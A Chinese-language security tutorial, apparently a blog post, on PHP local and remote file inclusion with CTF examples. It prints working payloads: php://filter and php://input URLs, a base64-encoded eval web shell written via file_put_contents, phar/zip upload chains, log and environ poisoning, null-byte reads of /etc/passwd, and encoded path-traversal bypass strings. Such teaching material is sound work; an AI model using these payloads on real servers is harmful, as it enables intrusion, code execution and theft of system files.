这一篇主要来聊一聊PHP的文件包含漏洞,主要包括本地文件包含(Local File Inclusion,LFI)、远程文件包含(Remote
File Inclusion, RFI)和PHP伪协议的利用。
文件包含的基本概念
严格来说,文件包含漏洞是代码注入的一种,其原理就是注入一段用户能控制的脚本或代码,使服务器端执行。至于文件包含,也就是一种“外部数据流包含”,这个外部数据流可以是文件,也可以是POST数据流的形式。
对于PHP具体而言,有4个可利用的函数:
- require()
- require_once()
- include()
- include_once()
当使用这4个函数包含一个新文件时该文件将作为PHP代码执行,PHP内核并不会判断该被包含的文件是什么类型。也就是说,如果被包含的txt文件、图片文件、远程URL都会作为PHP代码被执行。
举一个最简单的例子来看看:
<?php
include($_GET[test]);
?>
fortest.txt文件内容:
for test
<?php
phpinfo();
?>
要想成功利用文件包含漏洞,需要满足下面两个条件:
- include()等函数通过动态变量的方式引入需要包含的文件;
- 用户能控制该动态变量。
远程文件包含
如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞称为远程文件包含漏洞,比如:
<?php
$basePath = $_GET['path'];
require_once $basePath . "/action/m_share.php"
?>
上面的代码看似将路径的后半段已经规定了,但利用HTTP参数还是有办法绕过:
http://localhost/FileInclude/index.phppath=http://localhost/test/solution.php?
所以实际的执行代码就是:
require_once "http://localhost/FileInclude/index.php?path=http://localhost/test/solution.php?/action/m_share.php"
即,问号"?"后面的代码被解释成URL的querystring,这也是一种"截断"思想,和%00一样。
防御方法:关闭远程文件包含的配置错误,即allow_url_include = Off
本地文件包含
能过打开并包含本地文件的漏洞,被称为本地文件包含漏洞。
看到这里,利用远程文件包含我们可以执行攻击者的任意代码,而本地文件包含漏洞只能查看或运行本地文件。但是,其实我们可以使用PHP的伪协议等方式来利用本地文件包含漏洞,接下来讲的是如下几种利用方式:
- PHP伪协议(较为通用)
- 包含Session文件
- 包含日志(较为通用)
- 包含environ文件
- 包含临时文件
- 包含上传文件
PHP伪协议
php://协议
- php://input
- php://filter
php://input用于执行PHP代码,php://filter用于读取源码。
php://filter
php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include。
用法:?file=php://filter/convert.base64-encode/resource=xxx.php
假设页面的源代码index.php
为:
<html>
<title>asdf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
?>
</html>
url: http://localhost/test/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
result: PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8+
base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码。
php://input
php://input协议主要用于访问各个输入/输出流。CTF中经常使用file_get_contents
获取php://input内容(POST),需要开启allow_url_include
,并且当enctype="multipart/form-data"
的时候 php://input是无效的。
利用方式:?file=php://input 数据利用POST传过去
碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。
<?php
$file = $_GET['file'];
if (@file_get_content($file) == 'meizijiu') {
echo $flag;
}
?>
另外还可以写入一句话:
http://www.inc.com/inc.php?file=php://input
post数据:
<?php
echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));
?>
data://协议
php.ini:allow_url_include=On、allow_url_fopen()都为On
利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中。
页面示例代码:
<?php
echo 'for test';
include($_GET['file']);
?>
最后一个URL使用file_put_contents()
函数将<?php eval($_POST['cc'])?>
写到了test.php
文件当中,如图:
phar://协议
php版本 ≥ 5.3
phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下方式进行利用。
利用方式:写入一句话shell.php -> 压缩为shell.zip -> 修改后缀为shell.jpg ->上传到网站 -> phar://shell.jpg/shell.php
假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>
,打包成zip压缩包,如下:
指定绝对路径:
index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
zip://协议
php版本 ≥ 5.3
利用和构造zip包的方法同phar://协议,但使用zip协议,需要指定绝对路径,同时将#
编码为%23
,之后填上压缩包内的文件。
index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt
包含Session文件
前提条件:Session文件路径已知,且其中内容的部分可控。
首先第一个条件:Session的文件路径可以在php.ini中的session.save_handler
字段查看到:
一般而言,session文件的存放位置为:
/var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
第二个条件:内容可控,这个要求较为苛刻,有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
包含日志文件
前提条件:要知道服务器日志的存储路径,且日志文件可读。
服务器一般回在Web Server的access_log里记录客户端的请求信息,在error_log里记录出错信息。所以攻击者可以间接地将PHP代码写入日志文件,在文件包含时,只需要包含日志文件即可。
但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。
正常的PHP代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。
包含environ文件
/proc/self/environ文件里面有Web进程运行时的环境变量,其中很多都是用户可以控制的,最常见的做法就是在User-Agent中注入PHP代码。
这里有很完整的利用过程说明: https://www.exploit-db.com/papers/12886
包含临时文件
以上这些方法都要求PHP能过包含这些不处于Web目录下的文件,如果PHP设置了open_basedir,则很可能会使得攻击失效。
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:winsdowstemp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance
包含上传文件
就给一道CTF的题吧,最近在玩这个,膜拜一下大佬写的脚本。
绕过方式
比如下面这段代码:
<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) {
include '/home/wwwrun/'.$file.'.php';
}
?>
这段代码把inlcude路径的前缀部分、后缀部分都给控制住了。相比于连路径的前缀都由用户控制的那种漏洞已经安全多了。但是这里存在几个问题。
00字符截断
这种方式需要 PHP版本<=5.2
用户能够控制file参数,当file的值为../../etc/passwd\0
时,相当于执行了include '/home/wwwrun/../../etc/passwd'
这条语句。
如果不适用\0
截断的话,被包含的文件实际上是/etc/passwd.php
,但这个文件自然是不存在的。所以在这个地方,攻击者只要在最后加入一个0字节(x00),就能截断file变量之后的字符串。
如果是通过Web输入,只需要UrlEencode变为:
../../etc/passwd%00
防御方式:过滤00截断字符,过滤代码如下:
<?php
function getVal($name)
{
$value = isset($_GET[$name]) ? $_GET[$name] : null;
if (is_string($value))
{
$value = str_replace("\0", '', $value);
}
}
?>
超长字符截断
目录字符串在Windows下256字节、Linux下4096字节时,会达到最大值,最大值之后的字符被丢弃。可以通过./
的方式构造目录:
././././././././././././abc
//////////////////abc
../1/abc../1/abc../1/abc
目录遍历
除了这种攻击方式,还可以使用"…/…/…/“这样的方式来返回到上层目录中,这种方式又被称为"目录遍历(Path Traversal)”。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF) :
%2e%2e%2f -> ../
%2e%2e/ -> ../
..%2f -> ../
%2e%2e%5c -> ..\
%2e%2e%\ -> ..\
..%5c -> ..\
%252e%252e%255c -> ..\
..%255c -> ..\
URL绕过
query(?)
index.php?file=http://remoteaddr/remoteinfo.txt?
则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
。
问号后面的部分/test/test.php
,也就是指定的后缀被当作query从而被绕过。
fragment(#)
index.php?file=http://remoteaddr/remoteinfo.txt%23
则包含的文件为http://remoteaddr/remoteinfo.txt#/test/test.php
。
问号后面的部分/test/test.php
,也就是指定的后缀被当作fragment从而被绕过。注意需要把#
进行url编码为%23
。
Reference
《白帽子讲Web安全》
PHP文件包含
[LFI、RFI、PHP封装协议安全问题学习
LFI以及RFI(文件包含)伪协议利用小技巧
LFIBoomCTF
1 条评论